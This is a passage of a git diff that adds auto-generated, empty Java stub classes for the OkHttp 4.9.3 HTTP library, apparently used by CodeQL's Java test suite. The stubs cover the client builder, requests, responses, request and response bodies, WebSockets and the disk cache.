+            return null;
+        }
+
+        public final List<Interceptor> interceptors() {
+            return null;
+        }
+
+        public final List<Interceptor> networkInterceptors() {
+            return null;
+        }
+
+        public final List<Protocol> getProtocols$okhttp() {
+            return null;
+        }
+
+        public final OkHttpClient build() {
+            return null;
+        }
+
+        public final OkHttpClient.Builder addInterceptor(
+                Function1<? super Interceptor.Chain, Response> p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder addNetworkInterceptor(
+                Function1<? super Interceptor.Chain, Response> p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder addInterceptor(Interceptor p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder addNetworkInterceptor(Interceptor p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder authenticator(Authenticator p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder cache(Cache p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder callTimeout(Duration p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder callTimeout(long p0, TimeUnit p1) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder certificatePinner(CertificatePinner p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder connectTimeout(Duration p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder connectTimeout(long p0, TimeUnit p1) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder connectionPool(ConnectionPool p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder connectionSpecs(List<ConnectionSpec> p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder cookieJar(CookieJar p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder dispatcher(Dispatcher p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder dns(Dns p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder eventListener(EventListener p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder eventListenerFactory(EventListener.Factory p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder followRedirects(boolean p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder followSslRedirects(boolean p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder hostnameVerifier(HostnameVerifier p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder minWebSocketMessageToCompress(long p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder pingInterval(Duration p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder pingInterval(long p0, TimeUnit p1) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder protocols(List<? extends Protocol> p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder proxy(Proxy p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder proxyAuthenticator(Authenticator p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder proxySelector(ProxySelector p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder readTimeout(Duration p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder readTimeout(long p0, TimeUnit p1) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder retryOnConnectionFailure(boolean p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder socketFactory(SocketFactory p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder sslSocketFactory(SSLSocketFactory p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder sslSocketFactory(SSLSocketFactory p0,
+                X509TrustManager p1) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder writeTimeout(Duration p0) {
+            return null;
+        }
+
+        public final OkHttpClient.Builder writeTimeout(long p0, TimeUnit p1) {
+            return null;
+        }
+
+        public final Proxy getProxy$okhttp() {
+            return null;
+        }
+
+        public final ProxySelector getProxySelector$okhttp() {
+            return null;
+        }
+
+        public final RouteDatabase getRouteDatabase$okhttp() {
+            return null;
+        }
+
+        public final SSLSocketFactory getSslSocketFactoryOrNull$okhttp() {
+            return null;
+        }
+
+        public final SocketFactory getSocketFactory$okhttp() {
+            return null;
+        }
+
+        public final X509TrustManager getX509TrustManagerOrNull$okhttp() {
+            return null;
+        }
+
+        public final boolean getFollowRedirects$okhttp() {
+            return false;
+        }
+
+        public final boolean getFollowSslRedirects$okhttp() {
+            return false;
+        }
+
+        public final boolean getRetryOnConnectionFailure$okhttp() {
+            return false;
+        }
+
+        public final int getCallTimeout$okhttp() {
+            return 0;
+        }
+
+        public final int getConnectTimeout$okhttp() {
+            return 0;
+        }
+
+        public final int getPingInterval$okhttp() {
+            return 0;
+        }
+
+        public final int getReadTimeout$okhttp() {
+            return 0;
+        }
+
+        public final int getWriteTimeout$okhttp() {
+            return 0;
+        }
+
+        public final long getMinWebSocketMessageToCompress$okhttp() {
+            return 0;
+        }
+
+        public final void setAuthenticator$okhttp(Authenticator p0) {}
+
+        public final void setCache$okhttp(Cache p0) {}
+
+        public final void setCallTimeout$okhttp(int p0) {}
+
+        public final void setCertificateChainCleaner$okhttp(CertificateChainCleaner p0) {}
+
+        public final void setCertificatePinner$okhttp(CertificatePinner p0) {}
+
+        public final void setConnectTimeout$okhttp(int p0) {}
+
+        public final void setConnectionPool$okhttp(ConnectionPool p0) {}
+
+        public final void setConnectionSpecs$okhttp(List<ConnectionSpec> p0) {}
+
+        public final void setCookieJar$okhttp(CookieJar p0) {}
+
+        public final void setDispatcher$okhttp(Dispatcher p0) {}
+
+        public final void setDns$okhttp(Dns p0) {}
+
+        public final void setEventListenerFactory$okhttp(EventListener.Factory p0) {}
+
+        public final void setFollowRedirects$okhttp(boolean p0) {}
+
+        public final void setFollowSslRedirects$okhttp(boolean p0) {}
+
+        public final void setHostnameVerifier$okhttp(HostnameVerifier p0) {}
+
+        public final void setMinWebSocketMessageToCompress$okhttp(long p0) {}
+
+        public final void setPingInterval$okhttp(int p0) {}
+
+        public final void setProtocols$okhttp(List<? extends Protocol> p0) {}
+
+        public final void setProxy$okhttp(Proxy p0) {}
+
+        public final void setProxyAuthenticator$okhttp(Authenticator p0) {}
+
+        public final void setProxySelector$okhttp(ProxySelector p0) {}
+
+        public final void setReadTimeout$okhttp(int p0) {}
+
+        public final void setRetryOnConnectionFailure$okhttp(boolean p0) {}
+
+        public final void setRouteDatabase$okhttp(RouteDatabase p0) {}
+
+        public final void setSocketFactory$okhttp(SocketFactory p0) {}
+
+        public final void setSslSocketFactoryOrNull$okhttp(SSLSocketFactory p0) {}
+
+        public final void setWriteTimeout$okhttp(int p0) {}
+
+        public final void setX509TrustManagerOrNull$okhttp(X509TrustManager p0) {}
+    }
+    static public class Companion {
+        protected Companion() {}
+
+        public final List<ConnectionSpec> getDEFAULT_CONNECTION_SPECS$okhttp() {
+            return null;
+        }
+
+        public final List<Protocol> getDEFAULT_PROTOCOLS$okhttp() {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Protocol.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Protocol.java
new file mode 100644
index 00000000000..da4c21e9ee2
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Protocol.java
@@ -0,0 +1,18 @@
+// Generated automatically from okhttp3.Protocol for testing purposes
+
+package okhttp3;
+
+
+public enum Protocol
+{
+    H2_PRIOR_KNOWLEDGE, HTTP_1_0, HTTP_1_1, HTTP_2, QUIC, SPDY_3;
+    private Protocol() {}
+    public String toString(){ return null; }
+    public static Protocol get(String p0){ return null; }
+    public static Protocol.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final Protocol get(String p0){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Request.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Request.java
new file mode 100644
index 00000000000..f00e4c89c40
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Request.java
@@ -0,0 +1,182 @@
+// Generated automatically from okhttp3.Request for testing purposes
+
+package okhttp3;
+
+import java.net.URL;
+import java.util.List;
+import java.util.Map;
+import okhttp3.CacheControl;
+import okhttp3.Headers;
+import okhttp3.HttpUrl;
+import okhttp3.RequestBody;
+
+public class Request {
+    protected Request() {}
+
+    public Request(HttpUrl p0, String p1, Headers p2, RequestBody p3,
+            Map<Class<? extends Object>, ? extends Object> p4) {}
+
+    public String toString() {
+        return null;
+    }
+
+    public final <T> T tag(Class<? extends T> p0) {
+        return null;
+    }
+
+    public final CacheControl cacheControl() {
+        return null;
+    }
+
+    public final Headers headers() {
+        return null;
+    }
+
+    public final HttpUrl url() {
+        return null;
+    }
+
+    public final List<String> headers(String p0) {
+        return null;
+    }
+
+    public final Map<Class<? extends Object>, Object> getTags$okhttp() {
+        return null;
+    }
+
+    public final Object tag() {
+        return null;
+    }
+
+    public final Request.Builder newBuilder() {
+        return null;
+    }
+
+    public final RequestBody body() {
+        return null;
+    }
+
+    public final String header(String p0) {
+        return null;
+    }
+
+    public final String method() {
+        return null;
+    }
+
+    public final boolean isHttps() {
+        return false;
+    }
+
+    static public class Builder {
+        public <T> Request.Builder tag(Class<? super T> p0, T p1) {
+            return null;
+        }
+
+        public Builder() {}
+
+        public Builder(Request p0) {}
+
+        public Request build() {
+            return null;
+        }
+
+        public Request.Builder addHeader(String p0, String p1) {
+            return null;
+        }
+
+        public Request.Builder cacheControl(CacheControl p0) {
+            return null;
+        }
+
+        public Request.Builder delete(RequestBody p0) {
+            return null;
+        }
+
+        public Request.Builder get() {
+            return null;
+        }
+
+        public Request.Builder head() {
+            return null;
+        }
+
+        public Request.Builder header(String p0, String p1) {
+            return null;
+        }
+
+        public Request.Builder headers(Headers p0) {
+            return null;
+        }
+
+        public Request.Builder method(String p0, RequestBody p1) {
+            return null;
+        }
+
+        public Request.Builder patch(RequestBody p0) {
+            return null;
+        }
+
+        public Request.Builder post(RequestBody p0) {
+            return null;
+        }
+
+        public Request.Builder put(RequestBody p0) {
+            return null;
+        }
+
+        public Request.Builder removeHeader(String p0) {
+            return null;
+        }
+
+        public Request.Builder tag(Object p0) {
+            return null;
+        }
+
+        public Request.Builder url(HttpUrl p0) {
+            return null;
+        }
+
+        public Request.Builder url(String p0) {
+            return null;
+        }
+
+        public Request.Builder url(URL p0) {
+            return null;
+        }
+
+        public final Headers.Builder getHeaders$okhttp() {
+            return null;
+        }
+
+        public final HttpUrl getUrl$okhttp() {
+            return null;
+        }
+
+        public final Map<Class<? extends Object>, Object> getTags$okhttp() {
+            return null;
+        }
+
+        public final Request.Builder delete() {
+            return null;
+        }
+
+        public final RequestBody getBody$okhttp() {
+            return null;
+        }
+
+        public final String getMethod$okhttp() {
+            return null;
+        }
+
+        public final void setBody$okhttp(RequestBody p0) {}
+
+        public final void setHeaders$okhttp(Headers.Builder p0) {}
+
+        public final void setMethod$okhttp(String p0) {}
+
+        public final void setTags$okhttp(Map<Class<? extends Object>, Object> p0) {}
+
+        public final void setUrl$okhttp(HttpUrl p0) {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/RequestBody.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/RequestBody.java
new file mode 100644
index 00000000000..a5d4133760a
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/RequestBody.java
@@ -0,0 +1,49 @@
+// Generated automatically from okhttp3.RequestBody for testing purposes
+
+package okhttp3;
+
+import java.io.File;
+import okhttp3.MediaType;
+import okio.BufferedSink;
+import okio.ByteString;
+
+abstract public class RequestBody
+{
+    public RequestBody(){}
+    public abstract MediaType contentType();
+    public abstract void writeTo(BufferedSink p0);
+    public boolean isDuplex(){ return false; }
+    public boolean isOneShot(){ return false; }
+    public long contentLength(){ return 0; }
+    public static RequestBody create(ByteString p0, MediaType p1){ return null; }
+    public static RequestBody create(File p0, MediaType p1){ return null; }
+    public static RequestBody create(MediaType p0, ByteString p1){ return null; }
+    public static RequestBody create(MediaType p0, File p1){ return null; }
+    public static RequestBody create(MediaType p0, String p1){ return null; }
+    public static RequestBody create(MediaType p0, byte[] p1){ return null; }
+    public static RequestBody create(MediaType p0, byte[] p1, int p2){ return null; }
+    public static RequestBody create(MediaType p0, byte[] p1, int p2, int p3){ return null; }
+    public static RequestBody create(String p0, MediaType p1){ return null; }
+    public static RequestBody create(byte[] p0){ return null; }
+    public static RequestBody create(byte[] p0, MediaType p1){ return null; }
+    public static RequestBody create(byte[] p0, MediaType p1, int p2){ return null; }
+    public static RequestBody create(byte[] p0, MediaType p1, int p2, int p3){ return null; }
+    public static RequestBody.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final RequestBody create(ByteString p0, MediaType p1){ return null; }
+        public final RequestBody create(File p0, MediaType p1){ return null; }
+        public final RequestBody create(MediaType p0, ByteString p1){ return null; }
+        public final RequestBody create(MediaType p0, File p1){ return null; }
+        public final RequestBody create(MediaType p0, String p1){ return null; }
+        public final RequestBody create(MediaType p0, byte[] p1){ return null; }
+        public final RequestBody create(MediaType p0, byte[] p1, int p2){ return null; }
+        public final RequestBody create(MediaType p0, byte[] p1, int p2, int p3){ return null; }
+        public final RequestBody create(String p0, MediaType p1){ return null; }
+        public final RequestBody create(byte[] p0){ return null; }
+        public final RequestBody create(byte[] p0, MediaType p1){ return null; }
+        public final RequestBody create(byte[] p0, MediaType p1, int p2){ return null; }
+        public final RequestBody create(byte[] p0, MediaType p1, int p2, int p3){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Response.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Response.java
new file mode 100644
index 00000000000..a13ed203c53
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Response.java
@@ -0,0 +1,270 @@
+// Generated automatically from okhttp3.Response for testing purposes
+
+package okhttp3;
+
+import java.io.Closeable;
+import java.util.List;
+import okhttp3.CacheControl;
+import okhttp3.Challenge;
+import okhttp3.Handshake;
+import okhttp3.Headers;
+import okhttp3.Protocol;
+import okhttp3.Request;
+import okhttp3.ResponseBody;
+import okhttp3.internal.connection.Exchange;
+
+public class Response implements Closeable {
+    protected Response() {}
+
+    public Response(Request p0, Protocol p1, String p2, int p3, Handshake p4, Headers p5,
+            ResponseBody p6, Response p7, Response p8, Response p9, long p10, long p11,
+            Exchange p12) {}
+
+    public String toString() {
+        return null;
+    }
+
+    public final CacheControl cacheControl() {
+        return null;
+    }
+
+    public final Exchange exchange() {
+        return null;
+    }
+
+    public final Handshake handshake() {
+        return null;
+    }
+
+    public final Headers headers() {
+        return null;
+    }
+
+    public final Headers trailers() {
+        return null;
+    }
+
+    public final List<Challenge> challenges() {
+        return null;
+    }
+
+    public final List<String> headers(String p0) {
+        return null;
+    }
+
+    public final Protocol protocol() {
+        return null;
+    }
+
+    public final Request request() {
+        return null;
+    }
+
+    public final Response cacheResponse() {
+        return null;
+    }
+
+    public final Response networkResponse() {
+        return null;
+    }
+
+    public final Response priorResponse() {
+        return null;
+    }
+
+    public final Response.Builder newBuilder() {
+        return null;
+    }
+
+    public final ResponseBody body() {
+        return null;
+    }
+
+    public final ResponseBody peekBody(long p0) {
+        return null;
+    }
+
+    public final String header(String p0) {
+        return null;
+    }
+
+    public final String header(String p0, String p1) {
+        return null;
+    }
+
+    public final String message() {
+        return null;
+    }
+
+    public final boolean isRedirect() {
+        return false;
+    }
+
+    public final boolean isSuccessful() {
+        return false;
+    }
+
+    public final int code() {
+        return 0;
+    }
+
+    public final long receivedResponseAtMillis() {
+        return 0;
+    }
+
+    public final long sentRequestAtMillis() {
+        return 0;
+    }
+
+    public void close() {}
+
+    static public class Builder {
+        public Builder() {}
+
+        public Builder(Response p0) {}
+
+        public Response build() {
+            return null;
+        }
+
+        public Response.Builder addHeader(String p0, String p1) {
+            return null;
+        }
+
+        public Response.Builder body(ResponseBody p0) {
+            return null;
+        }
+
+        public Response.Builder cacheResponse(Response p0) {
+            return null;
+        }
+
+        public Response.Builder code(int p0) {
+            return null;
+        }
+
+        public Response.Builder handshake(Handshake p0) {
+            return null;
+        }
+
+        public Response.Builder header(String p0, String p1) {
+            return null;
+        }
+
+        public Response.Builder headers(Headers p0) {
+            return null;
+        }
+
+        public Response.Builder message(String p0) {
+            return null;
+        }
+
+        public Response.Builder networkResponse(Response p0) {
+            return null;
+        }
+
+        public Response.Builder priorResponse(Response p0) {
+            return null;
+        }
+
+        public Response.Builder protocol(Protocol p0) {
+            return null;
+        }
+
+        public Response.Builder receivedResponseAtMillis(long p0) {
+            return null;
+        }
+
+        public Response.Builder removeHeader(String p0) {
+            return null;
+        }
+
+        public Response.Builder request(Request p0) {
+            return null;
+        }
+
+        public Response.Builder sentRequestAtMillis(long p0) {
+            return null;
+        }
+
+        public final Exchange getExchange$okhttp() {
+            return null;
+        }
+
+        public final Handshake getHandshake$okhttp() {
+            return null;
+        }
+
+        public final Headers.Builder getHeaders$okhttp() {
+            return null;
+        }
+
+        public final Protocol getProtocol$okhttp() {
+            return null;
+        }
+
+        public final Request getRequest$okhttp() {
+            return null;
+        }
+
+        public final Response getCacheResponse$okhttp() {
+            return null;
+        }
+
+        public final Response getNetworkResponse$okhttp() {
+            return null;
+        }
+
+        public final Response getPriorResponse$okhttp() {
+            return null;
+        }
+
+        public final ResponseBody getBody$okhttp() {
+            return null;
+        }
+
+        public final String getMessage$okhttp() {
+            return null;
+        }
+
+        public final int getCode$okhttp() {
+            return 0;
+        }
+
+        public final long getReceivedResponseAtMillis$okhttp() {
+            return 0;
+        }
+
+        public final long getSentRequestAtMillis$okhttp() {
+            return 0;
+        }
+
+        public final void initExchange$okhttp(Exchange p0) {}
+
+        public final void setBody$okhttp(ResponseBody p0) {}
+
+        public final void setCacheResponse$okhttp(Response p0) {}
+
+        public final void setCode$okhttp(int p0) {}
+
+        public final void setExchange$okhttp(Exchange p0) {}
+
+        public final void setHandshake$okhttp(Handshake p0) {}
+
+        public final void setHeaders$okhttp(Headers.Builder p0) {}
+
+        public final void setMessage$okhttp(String p0) {}
+
+        public final void setNetworkResponse$okhttp(Response p0) {}
+
+        public final void setPriorResponse$okhttp(Response p0) {}
+
+        public final void setProtocol$okhttp(Protocol p0) {}
+
+        public final void setReceivedResponseAtMillis$okhttp(long p0) {}
+
+        public final void setRequest$okhttp(Request p0) {}
+
+        public final void setSentRequestAtMillis$okhttp(long p0) {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ResponseBody.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ResponseBody.java
new file mode 100644
index 00000000000..7cd78861bd8
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ResponseBody.java
@@ -0,0 +1,45 @@
+// Generated automatically from okhttp3.ResponseBody for testing purposes
+
+package okhttp3;
+
+import java.io.Closeable;
+import java.io.InputStream;
+import java.io.Reader;
+import okhttp3.MediaType;
+import okio.BufferedSource;
+import okio.ByteString;
+
+abstract public class ResponseBody implements Closeable
+{
+    public ResponseBody(){}
+    public abstract BufferedSource source();
+    public abstract MediaType contentType();
+    public abstract long contentLength();
+    public final ByteString byteString(){ return null; }
+    public final InputStream byteStream(){ return null; }
+    public final Reader charStream(){ return null; }
+    public final String string(){ return null; }
+    public final byte[] bytes(){ return null; }
+    public static ResponseBody create(BufferedSource p0, MediaType p1, long p2){ return null; }
+    public static ResponseBody create(ByteString p0, MediaType p1){ return null; }
+    public static ResponseBody create(MediaType p0, ByteString p1){ return null; }
+    public static ResponseBody create(MediaType p0, String p1){ return null; }
+    public static ResponseBody create(MediaType p0, byte[] p1){ return null; }
+    public static ResponseBody create(MediaType p0, long p1, BufferedSource p2){ return null; }
+    public static ResponseBody create(String p0, MediaType p1){ return null; }
+    public static ResponseBody create(byte[] p0, MediaType p1){ return null; }
+    public static ResponseBody.Companion Companion = null;
+    public void close(){}
+    static public class Companion
+    {
+        protected Companion() {}
+        public final ResponseBody create(BufferedSource p0, MediaType p1, long p2){ return null; }
+        public final ResponseBody create(ByteString p0, MediaType p1){ return null; }
+        public final ResponseBody create(MediaType p0, ByteString p1){ return null; }
+        public final ResponseBody create(MediaType p0, String p1){ return null; }
+        public final ResponseBody create(MediaType p0, byte[] p1){ return null; }
+        public final ResponseBody create(MediaType p0, long p1, BufferedSource p2){ return null; }
+        public final ResponseBody create(String p0, MediaType p1){ return null; }
+        public final ResponseBody create(byte[] p0, MediaType p1){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Route.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Route.java
new file mode 100644
index 00000000000..bff177b55a0
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Route.java
@@ -0,0 +1,41 @@
+// Generated automatically from okhttp3.Route for testing purposes
+
+package okhttp3;
+
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import okhttp3.Address;
+
+public class Route {
+    protected Route() {}
+
+    public Route(Address p0, Proxy p1, InetSocketAddress p2) {}
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final Address address() {
+        return null;
+    }
+
+    public final InetSocketAddress socketAddress() {
+        return null;
+    }
+
+    public final Proxy proxy() {
+        return null;
+    }
+
+    public final boolean requiresTunnel() {
+        return false;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/TlsVersion.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/TlsVersion.java
new file mode 100644
index 00000000000..fdcfdc9ab6d
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/TlsVersion.java
@@ -0,0 +1,28 @@
+// Generated automatically from okhttp3.TlsVersion for testing purposes
+
+package okhttp3;
+
+
+public enum TlsVersion {
+    SSL_3_0, TLS_1_0, TLS_1_1, TLS_1_2, TLS_1_3;
+
+    private TlsVersion() {}
+
+    public final String javaName() {
+        return null;
+    }
+
+    public static TlsVersion forJavaName(String p0) {
+        return null;
+    }
+
+    public static TlsVersion.Companion Companion = null;
+
+    static public class Companion {
+        protected Companion() {}
+
+        public final TlsVersion forJavaName(String p0) {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/WebSocket.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/WebSocket.java
new file mode 100644
index 00000000000..aa987e818a9
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/WebSocket.java
@@ -0,0 +1,21 @@
+// Generated automatically from okhttp3.WebSocket for testing purposes
+
+package okhttp3;
+
+import okhttp3.Request;
+import okhttp3.WebSocketListener;
+import okio.ByteString;
+
+public interface WebSocket
+{
+    Request request();
+    boolean close(int p0, String p1);
+    boolean send(ByteString p0);
+    boolean send(String p0);
+    long queueSize();
+    static public interface Factory
+    {
+        WebSocket newWebSocket(Request p0, WebSocketListener p1);
+    }
+    void cancel();
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/WebSocketListener.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/WebSocketListener.java
new file mode 100644
index 00000000000..01db429340a
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/WebSocketListener.java
@@ -0,0 +1,18 @@
+// Generated automatically from okhttp3.WebSocketListener for testing purposes
+
+package okhttp3;
+
+import okhttp3.Response;
+import okhttp3.WebSocket;
+import okio.ByteString;
+
+abstract public class WebSocketListener
+{
+    public WebSocketListener(){}
+    public void onClosed(WebSocket p0, int p1, String p2){}
+    public void onClosing(WebSocket p0, int p1, String p2){}
+    public void onFailure(WebSocket p0, Throwable p1, Response p2){}
+    public void onMessage(WebSocket p0, ByteString p1){}
+    public void onMessage(WebSocket p0, String p1){}
+    public void onOpen(WebSocket p0, Response p1){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/CacheRequest.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/CacheRequest.java
new file mode 100644
index 00000000000..5407de41640
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/CacheRequest.java
@@ -0,0 +1,11 @@
+// Generated automatically from okhttp3.internal.cache.CacheRequest for testing purposes
+
+package okhttp3.internal.cache;
+
+import okio.Sink;
+
+public interface CacheRequest
+{
+    Sink body();
+    void abort();
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/CacheStrategy.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/CacheStrategy.java
new file mode 100644
index 00000000000..1805e58c0ec
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/CacheStrategy.java
@@ -0,0 +1,20 @@
+// Generated automatically from okhttp3.internal.cache.CacheStrategy for testing purposes
+
+package okhttp3.internal.cache;
+
+import okhttp3.Request;
+import okhttp3.Response;
+
+public class CacheStrategy
+{
+    protected CacheStrategy() {}
+    public CacheStrategy(Request p0, Response p1){}
+    public final Request getNetworkRequest(){ return null; }
+    public final Response getCacheResponse(){ return null; }
+    public static CacheStrategy.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final boolean isCacheable(Response p0, Request p1){ return false; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/DiskLruCache.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/DiskLruCache.java
new file mode 100644
index 00000000000..35a3b5fe3f3
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/cache/DiskLruCache.java
@@ -0,0 +1,106 @@
+// Generated automatically from okhttp3.internal.cache.DiskLruCache for testing purposes
+
+package okhttp3.internal.cache;
+
+import java.io.Closeable;
+import java.io.File;
+import java.io.Flushable;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import kotlin.text.Regex;
+import okhttp3.internal.concurrent.TaskRunner;
+import okhttp3.internal.io.FileSystem;
+import okio.BufferedSink;
+import okio.Sink;
+import okio.Source;
+
+public class DiskLruCache implements Closeable, Flushable
+{
+    protected DiskLruCache() {}
+    public DiskLruCache(FileSystem p0, File p1, int p2, int p3, long p4, TaskRunner p5){}
+    public class Editor
+    {
+        protected Editor() {}
+        public Editor(DiskLruCache.Entry p0){}
+        public final DiskLruCache.Entry getEntry$okhttp(){ return null; }
+        public final Sink newSink(int p0){ return null; }
+        public final Source newSource(int p0){ return null; }
+        public final boolean[] getWritten$okhttp(){ return null; }
+        public final void abort(){}
+        public final void commit(){}
+        public final void detach$okhttp(){}
+    }
+    public class Entry
+    {
+        protected Entry() {}
+        public Entry(String p0){}
+        public final DiskLruCache.Editor getCurrentEditor$okhttp(){ return null; }
+        public final DiskLruCache.Snapshot snapshot$okhttp(){ return null; }
+        public final List<File> getCleanFiles$okhttp(){ return null; }
+        public final List<File> getDirtyFiles$okhttp(){ return null; }
+        public final String getKey$okhttp(){ return null; }
+        public final boolean getReadable$okhttp(){ return false; }
+        public final boolean getZombie$okhttp(){ return false; }
+        public final int getLockingSourceCount$okhttp(){ return 0; }
+        public final long getSequenceNumber$okhttp(){ return 0; }
+        public final long[] getLengths$okhttp(){ return null; }
+        public final void setCurrentEditor$okhttp(DiskLruCache.Editor p0){}
+        public final void setLengths$okhttp(List<String> p0){}
+        public final void setLockingSourceCount$okhttp(int p0){}
+        public final void setReadable$okhttp(boolean p0){}
+        public final void setSequenceNumber$okhttp(long p0){}
+        public final void setZombie$okhttp(boolean p0){}
+        public final void writeLengths$okhttp(BufferedSink p0){}
+    }
+    public class Snapshot implements Closeable
+    {
+        protected Snapshot() {}
+        public Snapshot(String p0, long p1, List<? extends Source> p2, long[] p3){}
+        public final DiskLruCache.Editor edit(){ return null; }
+        public final Source getSource(int p0){ return null; }
+        public final String key(){ return null; }
+        public final long getLength(int p0){ return 0; }
+        public void close(){}
+    }
+    public final DiskLruCache.Editor edit(String p0){ return null; }
+    public final DiskLruCache.Editor edit(String p0, long p1){ return null; }
+    public final DiskLruCache.Snapshot get(String p0){ return null; }
+    public final File getDirectory(){ return null; }
+    public final FileSystem getFileSystem$okhttp(){ return null; }
+    public final Iterator<DiskLruCache.Snapshot> snapshots(){ return null; }
+    public final LinkedHashMap<String, DiskLruCache.Entry> getLruEntries$okhttp(){ return null; }
+    public final boolean getClosed$okhttp(){ return false; }
+    public final boolean isClosed(){ return false; }
+    public final boolean remove(String p0){ return false; }
+    public final boolean removeEntry$okhttp(DiskLruCache.Entry p0){ return false; }
+    public final int getValueCount$okhttp(){ return 0; }
+    public final long getMaxSize(){ return 0; }
+    public final long size(){ return 0; }
+    public final void completeEdit$okhttp(DiskLruCache.Editor p0, boolean p1){}
+    public final void delete(){}
+    public final void evictAll(){}
+    public final void initialize(){}
+    public final void rebuildJournal$okhttp(){}
+    public final void setClosed$okhttp(boolean p0){}
+    public final void setMaxSize(long p0){}
+    public final void trimToSize(){}
+    public static DiskLruCache.Companion Companion = null;
+    public static Regex LEGAL_KEY_PATTERN = null;
+    public static String CLEAN = null;
+    public static String DIRTY = null;
+    public static String JOURNAL_FILE = null;
+    public static String JOURNAL_FILE_BACKUP = null;
+    public static String JOURNAL_FILE_TEMP = null;
+    public static String MAGIC = null;
+    public static String READ = null;
+    public static String REMOVE = null;
+    public static String VERSION_1 = null;
+    public static long ANY_SEQUENCE_NUMBER = 0;
+    public void close(){}
+    public void flush(){}
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/Task.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/Task.java
new file mode 100644
index 00000000000..b21bcb7abd6
--- /dev/null
